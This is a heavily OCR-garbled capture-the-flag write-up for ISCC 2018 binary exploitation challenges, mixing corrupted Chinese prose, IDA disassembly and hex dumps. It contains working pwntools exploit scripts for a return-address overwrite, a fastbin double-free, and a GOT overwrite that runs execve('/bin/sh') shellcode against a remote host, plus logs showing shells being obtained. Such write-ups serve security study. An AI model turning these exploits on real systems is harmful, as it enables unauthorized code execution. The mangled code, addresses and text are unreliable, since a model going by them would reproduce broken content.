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1.Login [/ 1A :200]--4F % A\ i) 25 —i& PWN
R EEAEE
1__int64 Menu()
2q
3 int6d resylt; f/ rax
4 har buf[68]; [rsp+8h] [rbp-58h]
5 int v2; Jf [rsp+44h] [rbp-Ch]
& _ inted v3; ff [rsp+48h] [rbp-8h]
7
8
9
18 do
11 {
12 while ( 1 )
13 {
14 while ( 1 )
15 {
16 puts("\nPanel\n\nl. exec command\n2. show user list\n3. exit\n");
17 printf("Your choice: ");
18 fflush( _bss start);
19 FRE T 1z A80
28
21 = @,
22 if ( buf[e] !'= '1" )
23 break;
24 ExecCmd();
25 }
26 if ( buf[e] !'= '2" )
27 break;
28 ShowlUserlist(); %
29 }
38 result = (unsigned _ int8)buf[@];
31}

32 while ( buf[@8] != 51 );
32 return result;
34}
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00000000004807B6 ExecCmd proc near ; CODE XREF: Menu+77lp
000000000040087B6

000E0E0004007B6 var_18 = qword ptr -18h

02000000004007B6 var_4 = dword ptr -4

020000000040087B6

00000000004007B6 ; _ unwind {

000000 40087B6 push rbp

2200000000400 7B7 mowv rbp, rsp

02000000004087BA sub rsp, 18h

0000000000 40087BE mov [rbp+var_4], 8

000000040087 C5 mov [rbp+var_10], ©

02000000004807CD mov esi, offset s2 ; "admin”
000000000040087D2 mov edi, offset strUsername ; sl
PoPeoaeeee4807DC test eax, eax

PEeEEReBEB4867DE jz short loc_4@87EC

: 0800B0BBRRA00TED mov edi, offset s ; "Sorry, this feature is only available f
0000000000 4087ES call _puts

: PPBEROBEOBABBTEA jmp short locret_ 400868

s s L o e e L e T
0200000000408 TEC

000000000 40087EC loc_4087EC: ; CODE XREF: ExecCmd+28Tj
00006000004087EC mov edi, offset format ; "Command: "
020000000040087F1 mov eax, ©

02000000408 TF6 call _printf

P0B0BP0B0B4087FB mov rax, cs:__bss_start

0000000000400802 mov rdi, rax ; stream
02060000004008805 call _fflush

0200000000 40880A mov rax, cs:stdin@@GLIBC 2 2 5
Pooeoooeee480811 mow rdx, rax ; stream
00000000004008814 mov esi, BFFh ;N

02060000004008819 mov edi, offset emd ; s

0200000000 400881E call _fgets

0000000000400823 mov esi, BAh ; €

0200000000400828 mov edi, offset cmd ; s

000600000040082D call _strchr

: 0000B000RR400836 cmp [rbp+var_10], ©

: 0000B0R0ER40083B jz short loc_488844

1 9P00R0000040083D mov rax, [rbp+var_18]
:0P0P0REB0400841 mov byte ptr [rax], @
:8000000000400844
: 000PPRRPRABBEA4 |loc_4808844 : ; CODE XREF: ExecCmd+85Tj
: B000PRRRPRABBEAL cmp [rbp+var_4], ©

:9000000000400848 jz short loc_488856

: 000B0R00B040084A mov edi, offset cmd ; command

: BEPDPRERPBABBBAF call _system

Hzzz[sTeTeTeTe e T e T jmp short locret_ 488868

BT Lo 2 o2 2 2 = L < U S
:80000000004008856

:0P0POPOPBR4ABBES56 loc_480856: ; CODE XREF: ExecCmd+9271j

: BPPDPPERPBABBESE mowv edi, offset aSorryThisFeatu @ ; "Sorry, this feature
:800000000040085B call _puts

: 00000 BREB100860

: 0000PPRRPRABBE6E locret 480860 : ; CODE XREF: ExecCmd+341j
:8000000000400860 ; ExecCmd+SET]
:8000000000400860 leave

:0000000000400861 retn

:0000000000400861 ; } // starts at 4007B6

: 0P0PRERPBABBE6]1 ExecCmd endp

:0000000000400861

I BR B P AELE — AT BEP AT systemdn 4 3 77 . Ox0040084A

A

EiEg:

1.Menuif #readt 7 55 Menu )iz [2] 331 21| 0x0040084A. % &% 15 1

2.3 N\ ExecCmd ek £ A\ fir 2 "/bin/sh"

3.[FFIMenupf FH AT Rk A 423" 1B Menupgi 2. BER 27 a2 8k 211 0x40084 APh 17 system("/bin/sh").

poc:



from pwn import *
import binascii
import time

g_local=False
#context.log_level='debug'

sh=0

if g_local:
sh=process("./pwn50")

else:
sh=remote("47.104.16.75",9000)

def login():
print sh.recvuntil(': ")
sh.sendline("admin")
print sh.recvuntil(': ")
sh.sendline("T60BSh2i")
print sh.recvuntil(': ")

def test():
login()
#0Overwrite the return address by system call
paload="'1'*16*5+p64(0)+p64(0x40084A)
sh.sendline(paload)
print sh.recvuntil(': ")

#send "/bin/sh"
sh.sendline("/bin/sh")
print sh.recvuntil(': ')

#run system("/bin/sh")

sh.sendline("3")
sh.interactive()

JRII AT :



est@test-virtual-machine:~/Desktop/2018% python . /fpwn50.py
+] Opening connection to 47.184.16.75 on port 9000: Done
sername:

password:

Panel
exec command

show user list
exit

Your choice:
ommand :
Forry, this feature has been disabled.

Panel

exec command
show user list
exit

Your choice:
*] Switching to interactive mode

cd home
1s
ormal
cd normal
1s
wn
cd pwn
1s
lag.txt
pwWn5o
cat flag.txt

2.Write some paper [4}1£ :200]

oG AE

int delete_paper()

{
int vi; /7

1
2
3
N
5| printf{"which paper you want to delete,please enter it's index{8-9):"});
6] _ isoc99 scanf{'%d", &uil};
7lOAF o <8 >9)
8 exit{1};

9|| free{=(&link list + u1)); |

8] return puts{“delete success *"});

1




freeff i, WABZIRE, Mo o 0 0 0 0 0 o o

ISCC— L%k, Frfi LM NME#EE M, AHIIE, “ISCC, RALHTE ! "Ml ml%, XHEEE, “InpiE
webil, fik—/ Reverse. "EHEH JLSCER. AT RO I R A S, R H RO 1L " ISCC KR
Y “IREARFRETBAFRA. T ATFRA? TATRRIRL/RPWNE H — E£48, Bt mETT. "ISCCH

WALT R, WL ARG, AL, PWNEE AR PWN! . RIFRIOE, RSBRA? "t
[ERAEMI1E, 114"Double Free”, f1-4“Use after Free"2 %, 340 \HMIEA Rk [ Sl T Heimfty s
o
_\40

BefE. o o LUEHEHT.

201805267 ¥, & 1 AHiwriteup. https://www.colabug.com/2955477 .html
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fastbin attack . 2% &
https://blog.csdn.net/qq_29343201/article/details/72627537
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fastbin attack

FIFHZRAY . MR

HEFI KM . 4 5FfastbinfIF] A

FIF B FfHfastbinffree G & B E— N FfreechunktisE, 3R —A>chunkPiX#t Nfree list, E&EMUAF, W LA K fastb
) FH A A

FHEAEE I K Freed—4 chunk
HSFARIERE, AT REEZ JEimalloc JRiR MR M, FHFEIEIE —Acheck, SR IXAMLE K size GX M B AT AAS X F
s B

fast binffifreefd® 7 LWL MR, FArx BBt AEAMEHR T, HIFFKFEEFEKELE T fastbin
MRS SR — A REER SEOL AR, JERESEH, freefImHE RAGE T iX MRMMRTR, XEERIE,
REARIELL N Free®i X [F—>chunk, #tA] AUBF| )5 — > chunkitifree list. ZJEMAEL{ER
chunk B4R 7Efree listH, (FRBHHE T HEK, XFHEHTIHESBIFdIREr, MMM HMIE.

e BT AR IR

/* Check that the top of the bin is not the record we are going to add
(i.e., double free). */
if (__builtin_expect (old == p, 0))
{

errstr = "double free or corruption (fasttop)";
goto errout;

}
it SRR — AU, R TR BINAR IS — A A
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))

{

errstr = "malloc(): memory corruption (fast)";

errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;

}
check_remalloced_chunk (av, victim, nb);
XA A 248 BLK 53 IE I IX AN chun kRN R AR HAR SR /N idx B, EHelnsize# i 0x20 K /M)
fastbin, REMIEZMIMEZ0x20-0x2776H, /AL ERIZAXNVEREME (B 4lsize) ,

T4 i Himemory corruption.

BT LA FH A 75 BAR AR B — MR I size, XA size L SBRANTHENFFAH, B AR LB

B KT A IE — MR sizefd k. HEHBLMsize i ol AT /- ICBIAR AL E T
JRk—E LR E M CER b
& 21 53 b —frwriteup, i S 2 7 BoAE AR LAY

#!/usr/bin/env python

# -*- coding: utf-8 -*-

from pwn import *

from time import sleep



import sys

elf = ELF("./pwn3")

context.log level = "debug"

io = process("./pwn3")

libc = elf.libc

#raw_input("run ida...... ")

def DEBUG():

raw_input ("DEBUG: ")

gdb.attach(io, "b *0x400B26")

def add(idx, length, content):

io.sendline("1")

print io.recv(200)

io.sendline(str(idx))

print io.recv(200)

io.sendline(str(length))

print io.recv(200)

io.sendline(content)

print io.recv(200)

def delete(idx):

#io.sendlineafter("2 delete papern", "2")

#sleep(0.01)

#io.sendlineafter(":", str(idx))

#sleep(0.01)

io.sendline("2")

print io.recv(200)

io.sendline(str(idx))



print io.recv(200)

#fhi& chunkfEgot %

def testl():

print io.recv(200)

print "xxxxxx"

fakeChunk = 0x602030+2

add(0, ox30, '0000') #chunk©=0x1691010

add(1, ox3e, '1111') #chunk1=0x1691050

delete(9) # ©

delete(1) # 1 -> ©
1691010 00 00 00 00 00 00 00 00 41 00 00 00 00 00 00
1691020 00 00 00 00 00 00 00 PO 0O PO 00 00 00 00 00
1691030 00 00 00 00 00 00 00 PO 0O PO 00 0V 00 00 00
1691040 00 00 00 00 00 00 00 PO 0O PO 00 0V 00 00 00
1691050 00 00 00 00 00 00 00 00 41 00 00 00 00 00 00
1691060 10 10 69 01 00 00 00 00 0O 00 00 00 00 00 00
1691070 00 00 00 00 00 00 00 00 0O 00 00 00 00 00 00
1691080 00 00 00 00 00 00 00 00 0O 00 00 00 00 00 00
1691090 00 00 00 00 00 00 00 00 71 OF 02 00 00 00 00

delete(@) # 0 -> 1 -> 0
1691010 00 00 00 00 00 00 00 00 41 00 00 00 00 00 00
1691020 50 10 69 10 00 00 00 00 0O 0O 0O 00 VO 0O 00
1691030 00 00 00 0O 0O 00 00 PO 0O PO 0O 0V 00 00 00
1691040 00 00 00 00 00 00 00 PO 0O PO PO 0V 00 00 00
1691050 00 00 00 00 00 00 00 00 41 00 00 00 00 00 00
1691060 10 10 69 01 00 00 00 OO 0O 00 00 00 00 00 00
1691070 00 00 00 00 00 00 00 PO 0O 0O 0O 0V 00 00 00
1691080 00 00 00 00 0O 00 00 PO 0O PO PO 0V 00 00 00
1691090 00 00 00 00 00 00 00 00 71 OF 02 00 00 00 00

#0 ->1 -> 0 -> fakeChunk 3R[Elchunke itttk

add(@, 0x30, p64(fakeChunk)) # 1 -> @ -> fakeChunk
1691010 00 00 00 00 00 00 00 V0 41 00 00 00 00 00 00
1691020 32 20 60 00 00 00 00 00 0O 00 00 00 0O 00 00
1691030 00 00 00 00 00 00 00 VO 0O 00 00 0O 00 0O 00
1691040 00 00 00 00 00 00 00 VO 0O 00 00 PO 00 0O 00
add(1, 0x30, '1111') # @ -> fakeChunk

add(2, ox30, '2222') # fakeChunk
1691010 00 00 00 00 00 00 00 00 41 00 00 00 00 00 00
1691020 32 32 32 32 00 00 00 00 0O 00 00 00 00 00 00
1691030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
1691040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
//1ER S TR fastbin iR {4 #H 0x602032
602032 40 00 00 00 00 00 56 07 40 00 00 00 00 00 1B SF
602042 37 7F @@ @@ 40 C7 17 5F 37 7F 00 00 86 07 40 00

ptr=1691020
00 ........ Moocooooo

ptr=1691060

ptr=1691020
00 ........ Moocoaooo



602052 00 00 00 00 CO 73 19 5F
602062 37 7F 00 00 70 BE 1C 5F
602072 37 7F 00 00 D6 07 40 00
602082 00 00 00 00 00 00 00 00
602092 00 00 00 00 00 00 00 00

37 7F 00 00 30 01 1E 5F
37 7F 00 00 Do 74 1C 5F
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00

# payload = 'aaaaaaaabbbbbbbbccccccccdddddddd!

payload = p8(0) * (3 * 8 - 2) + p64(elf.sym['gg']) * 2

# DEBUG()

io.sendline("2")

add(3, 0x30, payload) #ptr=602042

got.plt:0000000000602018 off_602018 dq offset cfree

.got.
.got.
.got.
.got.
.got.
.got.
.got.
.got.
.got.
.got.
.got.
.got.
.got.

plt
plt
plt
plt
plt

plt
plt
plt
plt
plt
plt

plt:
:0000000000602028
:0000000000602030
:0000000000602038
:0000000000602040
:0000000000602048
plt:
:0000000000602058
:0000000000602060
:0000000000602068
:0000000000602070
:0000000000602078
:0000000000602078

0000000000602020

0000000000602050

io.interactive()

#io.close()

# flag{ISCC_SoEasy}

#{hifchunk A& L

def test2():

print io.recv(200)

#— IR AEW A8 TAT

io.sendline('a'*48*3)

off_602020
off_602028
off_602030
off_602038
off_602040
off_602048
off_602050
off_602058
off_602060
off_602068
off_602070
off_602078

dq
dq
dq
dq
dq
dq
dq
dq
dq
dq
dq
dq

_got_plt ends

data=io.recvuntil('\x7f")

stack=data[-6:]+"'\x00\x00"

stack_addr=u64(stack)

print "stack addr:",hex(stack_addr)

offset
offset
offset
offset
1800h
0

0
offset
offset
offset
offset
offset

_IO_puts
fread
loc_400746
loc_400756

g8

g8
unk_7F375F1CBEQ0@

__isoc99_scanf
loc_4007D6

—RMESRAE AL, 55 = URHT B R AR 2 Ak

; DATA XREF: _freefr

)

)

)

; DATA
; DATA
; DATA

DATA
DATA
DATA
DATA
DATA
DATA
DATA
DATA
DATA

XREF:
XREF:
XREF:
XREF:
XREF:
XREF:
XREF:
XREF:
XREF:
XREF:
XREF:
XREF:

_putstr

_fread?tr
___stack_chk_failftr
_systemtr

_printftr
___1libc_start_maintr
___gmon_start__fr
_strtolfr

_malloctr
_setvbufftr
___isoc99_scanfftr
_exittr



add(5,32,"aaaa")

add(6,32,"aaaa")

delete(5)
delete(6)

delete(5)

#io.recv(200)
io.sendline("3")
io.recv(100)

io.sendline(str(49))

add(5,32,p64(stack_addr+96))

add(6,32, 'a'*32)

add(6,32, 'a'*32)

add(6,32, 'a'*8+p64(0x400943))

io.sendline("6")

io.interactive()

testl()

https://ctf-wiki.github.io/ctf-wiki/pwn/heap/fastbin_attack/
3.Happy Hotel [4)1%:300]

SR A=



1int begin_480A8E()

24

3 signed __int64 i; f/ [rsp+l8h] [rbp-48h]
char v2[48]; [/ [rsp+28h] [rbp-38h]

4

5

6 puts("who are u?");

7 for (1 = 8LL; i <= 47; ++i )
8

{
9 read(®, &v2[i], 1ulLl);
18 if ( v2[i] == 18 )
11 {
12 v2[1i] = @;
13 break;
14 }
15

¥
16 // ZEREE, b 48 FFE0E, XESIEHEIIHTED Hsk
17  printf("%s, welcome to ISCC~ \n", v2);
18 puts("give me your id ~~?");
19 getChoice 4887DF();
20 return sub_408429();
21}

F— e, buffer 4810711, 1 14871, ZJaRM—prinf. WG —FWAR\NKTE, HiASA KO,
IXFETHV I RS S AR5 1L B AT ED R . SRR Al 2 rbp,

eeea7FFF2823D2F8 "m 3T 3T 3T 3T 3T 3T 3T 3T 3T 3T 3T 31 31 31 31 |1111111111111111
3

PEEATFFF28230368 |31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 |M+trrrrrrenrrar buffer
PEEB7FFF28230318 |31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 @@ [111111111111111.

PEBATFFF2823D320 [59 @B 40 @0 0@ @@ 00 0@ N P

PRBBTFFF2823D330 28 D4 23 FF 7F ©0 @0 00 0@ 08 00 O B0 08 B0 (..(...........: return address
BRPETFFF28230340 6@ @B-ME @0 @0 6P @@ @@ 30 E3 52 AE CF 7F 00 @0 ~.@..... Bennnn

PREBTFFF2823D350 @0 @0 0 98 00 B8 @0 @@ 28 D4 23 28 FF 7F @0 80 ........ [

PEEATFFF2823D360 A@ DC AF AE @1 00 @0 @@ 36 OB 40 00 00 00 00 80 ..... [T ‘3.

PREATFFF2823D370 @0 00 B0 00 80 BO @0 @@ B3 B4 EE 1B BE 8F OF BE  ....e.iieceena.s

AAAATCCCASAINIOMN DA A AMA AA MG AS A0 G M N”A D 0 CC TC Al A = - f

1int sub_400A29()

2
3 char buf; f/ [rsp+Bh] [rbp-48h]

4 char *dest; ff [rsp+38h] [rbp-8h]

5

& f/ -bBooeooe0e0800408 buf db 56 dup(?)

7 // -B00o0BA0G0B0ER0RE dest dg ? ; offset
g8 // +0000000000000000 < db 8 dup(?)

9 // +00000EPEO000E0S r db 8 dup(?)

18  dest = (char *)malloc(@x48ull);

11 puts("give me money~");

12 read(@, &buf, @x48ull);

13 // readft&BEifdest HEMLLEEER
14 strcpy(dest, &buf);

15 ptr = dest;

16  return sub_4889C4();

17}

EANIRIRAR B 2 buf 8] A 56775, JRMEE 1 0x40(64) 71, iXFfreadffjisf s, Wi L N644 77l 24 dest
R 78 o

S stropy i g it REAT Bl S 25

SR, ORI T IX LRI, UK IHBA Mk, — B AEEE T system("/bin/sh")Zshell.

SR HRAS B pR B bk i 7, R B S E R PATII T - .

MBI ZR T pwn who are u Hiik | T A E.

https://blog.csdn.net/qq_33528164/article/details/79681606



XD, FEA BB
I H N & AT shellcode i OK.
Lt 2 S free i s B0t bk £ 21 shellcode i 7, 4R 54T shellcode .
1.who are u?itf /ixshellcode, IR 4 it i () ropt ik 1+ 5 shellcode it «
2. K| H strepy ftifreeft ik £ ithbik- 2 5 #ishellcodettiidit: .

3. 4Tfree. B 4Tshellcode.



from pwn import *
import binascii
import time
import struct

g local=True
context.log level='debug'

sh=0
free_got=0x602018
if g_local:
sh=process("./pwn200")
#elf = ELF('./pwn200")
#free_got = elf.got["free"]
#print_log("attch by ida..... ")
raw_input("ida has attch? Press any key for continue...")
else:
sh=remote("47.104.16.75",8997)

shellcode = "\x31\xc@\x48\xbb\xd1\x9d\x96\x91\xd@\x8c\x97 \xff\x48\xf7\xdb\x53\x54\x5F\x99\x52\x57\x54\x5e\x
def test2():

print sh.recv(100)

sh.send(shellcode+'a'*(48-1en(shellcode))) #ki¥shellcode

if not g_local:

print sh.recvuntil("\n")

str_recv=sh.recv(256)

print "return",str_recv,repr(str_recv)

str_stack=str_recv[48:48+6] #EWprint fl R rbpiiht

print str_stack

str_stack+="\00\00"

ebp,=struct.unpack("Q",str_stack)

print "Stack address:%08x"%ebp

offset=0x50

shellcode_addr=ebp-offset

print "shellcode_addr = " + hex(shellcode_addr)

sh.sendline('0") #id

print sh.recvuntil('\n")

payload = p64(shellcode_addr)

#the juck data must be '\x00' in the got!

sh.send(payload + '\x00'*(0x38-len(payload)) + p64(free_got)) #strcpy(free_got,payload)
sh.recvuntil('choice :')

sh.sendline('2")

sh.interactive()

test2()

BT A



] Received 8xb bytes:
'who are u?\n'
ho are u?

] Sent ©x30 bytes:
gogoeeee 31 48

H 5|

00000018 54 5f 52 57 54 5e 6 6 |T_ R WT™
aaaa|

0000020 61 61 61 61 61 61 61 61 |aaaa aaaa aaa
aaaa|

00000030

[
-~

signed __inth4d i; //f
char v2[48]; //

[ TNy [ -

puts("who are u?");

7 for ( = @LL; <= 47; ++i )
8 {

9 read(®, & /2[1], 1ull);

1@ if ( v2[i] == 1@ )

11 {

12 [i] = @;

13 break;

14} b

I
16 // EEHEWRE, il 481 FITHIE, XESITHRIIT B disk
D17 printf("%s, welcome to ISCC~ \n", E
18 puts("give me your id ~~?");
19 getChoice 4887DF();
20 return sub_400A29();

00000ASE begin 400ASE: 1T (40043E)

E Hex View—1

EBl e 48 BB D1 9D 96 91 D@ 8C 97 FF 48 F7 DB 53 1...¢-..K-..H...
54 5F 99 52 57 54 5E B@ 3B BF @5 61 61 61 61 61 T_.RWT".;..aaaa3a| hy,ffer
61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 =azaaazazaaazasza
DB 96 12 JA FC 7F 9@ @@ 50 OB 40 00 00 008 80 88 X-.z....Y.@.....

B8 97 12 7JA FC 7F 00 @2 00 00 02 00 @1 80 80 88 ...7........00...
60 BB 40 60 22 0P 00 @8 30 93 2D 64 80 JF @8 88 T .@..... 8.-d....
2o o0 B0 0P B0 OB BB @B BB 97 12 FTAFC JF @B 88  ........... Toooc
PG 08 PG 0B Bl G0 PG BB 36 BE 40 OO 00 BO BB BB  ........ G -5 ¢
B6 o2 B0 0P PO OB PO @B 83 BS 96 24 13 B2 @@ CE  ........... Bsooc

printf $4475¢, 1% shellcodetiii:

return leH\xbbn\x96\x91K\x97\xffHeeST \x99RWT*\xb0;\x0f\x05aaaaaaaaaaaaaaaaaaaaa
\x12z¢, welcome to ISCC-~

"1\ xcOH\ xbb\xd1\x9d\x96\x91\xda\ x8c\x97\xFTH\xF7\xdbST_\x99RWT*\xb8;\x0f\x05aaaa
33aaaaaaaaaaaaaaa\xde\x96\x12z\xfc\x7f, welcome to ISCC~ \n'

\x12ze
Stack address:7ffc7a1296de
hellcode addr = 8x7ffc7a129680
] Sent ©x2 bytes:
n 1

readi :



text:

P0800000084108A3F

mov edi, offset aGiveMeMoney ; "glve me
.text:0000000000400A44 call _puts
.text:0000000000400A49 lea rax, [rbp+buf]
.text:0000000000480A4D mov edx, 46h ; nbytes
.text:0000000000400A52 mov rsi, rax ; buf
.text:0000000000480A55 mov edi, @ ; fd
.text: 00000800000400A5A mov eax, @
Eﬂ .text:0000000000480A5F call _read
.text:0000000000400A64 lea rdx, [rbp+buf]
.text:0000000000480A68 mov rax, [rbp+dest]
.text:0000000000400A6C mov rsi, rdx ; src
.text:0000000000480A6F mov rdi, rax ; dest
.text:0000000000400A72 call _strecpy
.text:0000000000480A77 mov rax, [rbp+dest]
.text:0000000000400A7E mov cs:ptr, rax
.text:0000000000400A82 mov eax, @
O0000ASF 000000000040045F : =ub_400AZ9+36 (Synchronized with RIF)
E]‘[ex Yiew—1
A0 B @6 40 A0 0O 60 98 82 49 @A 40 60 00 00 @0 f8 . .@..... I.@euen.
. 536m- BB 97 12 7A FC 7F G0 60 0O B0 00 00 B0 00 80 08 ...Z............
Ba7 29626 O0 00 00 00 PO 00 PG B8 98 FE 2E 64 @8 JF BB 8B  ........... d....
B2a 29638 @9 o0 00 00 B0 29 B0 28 BS5 B85 40 60 60 B8 BB B8 .......... @....
380 29640 30 0@ 90 @0 00 00 00 08 [T 60 73 @0 60 0B @0 00 | § cs dest
328 20652 B@ 96 12 JA FC 7F 88 8@ 34 6B 49 40 00 60 82 88 ...z....4.0.....
328 20660 E@ DB 67 64 @@ 7F 00 ©@ @0 A7 B8 64 00 JF @@ B0  ...d....... d....
380 29670 30 0P B0 OO 90 0D BO 00 OO GO 0D 0O B0 0D 60 B0 B...............
¥B7F 20580 31 (@ 48 BB D1 9D 96 91 D@ BC 97 FF 48 F7 DB 53 1...a-..K-..H...
read< J:
.text:0000000000480A3F mov edi, offset aGiveMeMoney ; "give me mone
.text:0000000000400A44 call _puts
.text:0000000000480A49 lea rax, [rbp+buf]
.text:0000000000400A4D mov edx, 46h ; nbytes
.text:0000000000480A52 mov rsi, rax ; buf
.text:0000000000400A55 mov edi, © ; fd
.text:0000000008400A5A mov eax, @
.text:0000000000400A5F call _read
.text:0000000000480A64 lea rdx, [rbp+buf]
.text:0000000000400A8 mov rax, [rbp+dest]
.text:0000000000480A6T mov rsi, rdx 3 src
.text:0000000000400A6F mov rdi, rax ; dest
.text:0000000000400A72 call _strcpy
.text:0000000000400A77 mov rax, [rbp+dest]
.text:0000000000400A78B mov cs:ptr, rax
.text:0000000000400A82 mov eax, @

00000464 0000000000400454 : sub_400479438 (Symchronized with RIF)

Hex View—1

FFFCTA129
-
=
5

g

0 R G
PR R~ B R R IQH

=R R v I v T v )

oo O v

destZ 602018

coE BB 86 40 o 00 6 68 8B 64 BA 48 BB 20 BB 80 Be
5lB| 88 96 12 VA FC VF 88 B8 | 6@ 90 6@ 00 00 00 00 08
260 B8 o2 B0 02 B0 02 B0 B2 02 B0 02 B0 90 B8 80 Be
S0 B9 0B B0 0B B0 OB PO OB 0B PO OB BB BB BB BB BB
40 B8 B2 20 B2 80 Be ap Be 2@5@%9@%9@%'
56 B8 96 12 JA FC 7F 28 @@ 34 BB 48 B0 @0 B0 00 e
=i Cia na &7 £A4 Ad 70 A S MG AT OO £A AR TC GG A0



.got.plt:0PPEBOOOREVEE2000 ;org 602000h
.got.plt:00060006006682008 dq offset stru_681E28
.got.plt:0006000600602008 qword_ 6028088 dq 7FPB648AA168h ; DATA XREF: sub_ 4886881Tr
.gcot.plt:0006000000602018 gword 682018 dg 7FE06469A878h ; DATA XREF: sub 488688+6Tr
.got.plt:0006000600662018 off 682018 dg offset loc_ 488616 ; DATA XREF: freefr
.got.plt:00060008006082028 off 6020828 dq offset loc_ 488626 ; DATA XREF: strcpytr
.got.plt:00000ERE0E602028 off_602028 dq offset _T0 puts ; DATA XREF: _putsfTr
.got.plt:0000000000602030 off 602030 dq offset I0 printf ; DATA XREF: printftr
.got.plt:B006000800602038 off 602038 dq offset _ read ; DATA XREF: readfr
.got.plt:0000000000682040 off 6020468 dq offset _ libc_start_main ; DATA XREF:  libc start maintr
.got.plt:0P0E0E0EE0602048 off_602048 dq offset loc_488676 ; DATA XREF: __ gmon_start__ Tr
.got.plt:00060006006682058 off 68208568 dq offset _ libc_malloc ; DATA XREF: malloctr
.got.plt:00000000006082058 off 602058 dq offset _T0 setvbuf ; DATA XREF: setvbuftr
.got.plt:00BEPEDEEDE02060 off_602060 dq offset atoi ; DATA XREF: _atoifr
.got.plt:B00B0OBBEBEE2060 _pot plt ends
.eot.plt:B00B000800602060

AT strepy,free_gotds fikishellcodet it .
.got.plt:PEEE06E060602000 dq offset stru_601E28
.got.plt:0060080000682008 qword_602008 dq 7FBB648AA168h DATA XREF: sub_480680Tr

AX] .got.plt:00000600006020160 qword_ 662010 dq 7FPB6469A876h DATA XREF: sub_ 408688+6Tr

[[got.plt:P00PPEEPEAEA2018 of f 602018 dq offset unk 7FFC7A129680 DATA XREF: freefr |
_cot .pli:0POPPO0PPPGEP2020 off_6P2020 dq offset unk_7Fe@P6435E9D0 DATA XREF: _strcpylr
.got.plt:PPEE0600E0602028 off_ 602028 dq offset _IO puts DATA XREF: _putstr
.got.plt:0000000000602030 off 602030 dq offset IO printf DATA XREF: _printffTr
.got.plt:0000000000602038 off_602838 dq offset _ read DATA XREF: _readtr
.got.plt:PPEEEEEEEEEE2046 off_602040 dq offset _ libc_start_main DATA XREF: _ libc_start_maintr
.got.plt:PEEE666060602048 off_ 602048 dq offset loc_ 488676 DATA XREF: _ gmon_start_ Tr
.got.plt:0000000000602050 off_ 602050 dq offset _ libc malloc DATA XREF: _malloctTr
.got.plt:00EE0E0000602058 off_602@58 dq offset IO setvbuf DATA XREF: _setvbuffr
.got.plt:0000000000602060 off_602060 dq offset atoi DATA XREF: _atoitr
.got.plt:PECE06E000602060 _got plt ends
.got.plt:0008080000602060

Aata- AARAARRAARRAIAARR

&P AT freet/E, Bt Ashellcodeth /7 .

PR

[stackj:

[stack]
[stack]

[stack]:

[stack]

[stack]:

[stack]
[stack]

[stack]:

[stack]

[stack]:

[stack]
! [stack]

IR E Eshell o

HAthf¥shellcode http://www.bubuko.convinfodetail-640711.htm.

Jii52:

1.5 —2, Ki%shellcode, M printfwiffF2kHbt. [F F.

24047 21 e #400A92.

PReB7FFC7AL129680 31 C@ Xor eax, eax
:@0007FFC7A129682 48 BB D1 9D 96 91 D@ 8C 97 FF mov rbx, @FF978CDO91969DD1h
:@eB07FFC7A12968C 48 F7 DB neg rbx
:@BBBT7FFC7A12968F 53 push rbx
:00007FFC7A12969€@ 54 push rsp
Peee7FFC7A129691 5F pop rdi
:@e0O7FFC7A129692 99 h cdq
:@eB0T7FFC7AL129693 52 push rdx
PBBBTFFCT7A129694 57 push rdi
:00007FFC7A129695 54 push rsp
:@P007FFC7A129696 5E pop rsi
:@@OB7FFC7A129697 BO 3B mov al, 3Bh
:@BBBT7FFC7A129699 BF @5 syscall

; rbp=0x@868732F6E69622F /bin/sh

2

LINUX

- sys_execve



peaa7FFF@85219Da B7
Pe0a7FFFB35219E0 08
peea7FFF@85219F8 B
peaa’FFFaas21A08 08
paaa7FFFa8521A16 oe
peea’FFraas21A28
peaa7FFFass21A36
peaa’FFFaas21A48
peaa7FFFA8521A56

63 97 E6
52 @88 FF
46 @8 aa
28 aa ae
aa e aa
28 @8 a8
52 @8 FF

N — E&sub_400A29f54E 251
() fhisR9chunk

ESESRET!

ESEERI R
BRSS!
SIER SRR
RT3y
NHEEE 8R!

2332 RSS!

@2 87 B9 O7 E6 7F @@ @0 |5 ... .=

20 G0 PG B3 0 00 00 88/ O....... e = 0 EBERE

g3ssesg3re s gy gesse:
8
A

BE
B0BE7FFFAE521A60 %0 08 98 08 8O
shellcode=1170,[ 3776 48 B8 DI FF 48 F7 DB 53| 1...0-..K-..H...
BREE7FFFAS521A5@ | 54 SF 99 52 57 54 38 @F @5 61 61 61 61 61| T .RWT".;..aaaaa
PAEBTFFFAS521A90 |61 61 61 61 61 61 61 61 61 61 61 61 61 61| asaaasaaasaaaaaa fre e g 0t b o nkEER
BREE7FFFAS521A%2 (@ 1A 52 B8 FF JF 50 OF 40 B0 @8 B8 08 80 ..R..... Yo@..... ) . o
pEEA7FFFOE521AB2 A8 1B 52 @8 FF 7F 90 0B 00 90 0L B0 08 BB  ..R............. e, AEEREEER , SR
BREETFFFASS21ACE 6@ G 40 B9 68 98 30 78 SE 97 EG 7F 08 @8  .[@..... Bt romen
PARETFFFAS521AD0 OO 0B 00 90 00 99 AB 1B 52 @8 FF 7F 00 80 .......... Revunn [EHERGIERATS 1,
BREE7FFFASS21AER A@ 6C BB 97 @1 @8 36 OB 40 B0 00 80 08 80 .1...... Buffl..... ImEEERSIshellcodefiit
BORETFFFASS21AFG 0B @0 00 B0 08 99 CO BA BD 92 46 EB A4 CC  .ouvvvnnnn.. F... .
PEBRTEFFES521660 5O 6 40 00 00 90 A@ 1B 52 @8 FF 7F @8 80 ..[@....... Rewuns . IRHENH TR,
PAEETFFFAS521610 OO 0D 00 90 00 99 @0 00 OB B2 OB OO B0 B0  ................

J

it —~chunk.

#32bytes padding +prev size +size +padding +fake_addr

data = p64(0) * 4 + p64(0) + p64(0x41) # no strcpy
data = data.ljust(56, '\x00') + p64(fake_addr)
print data

sh.send(data)
XL copyF] 0x7ff08521a00. desti% & H0x7fff08521a30.
i B 0x7fff08521a20. iz & ) chunk.
strepy AT BB, BT —ANFAR0, Kbt A R . strepy(0x7fff08521a30,0x7ff08521a00).
I ptreb i y0x7ff08521a30.
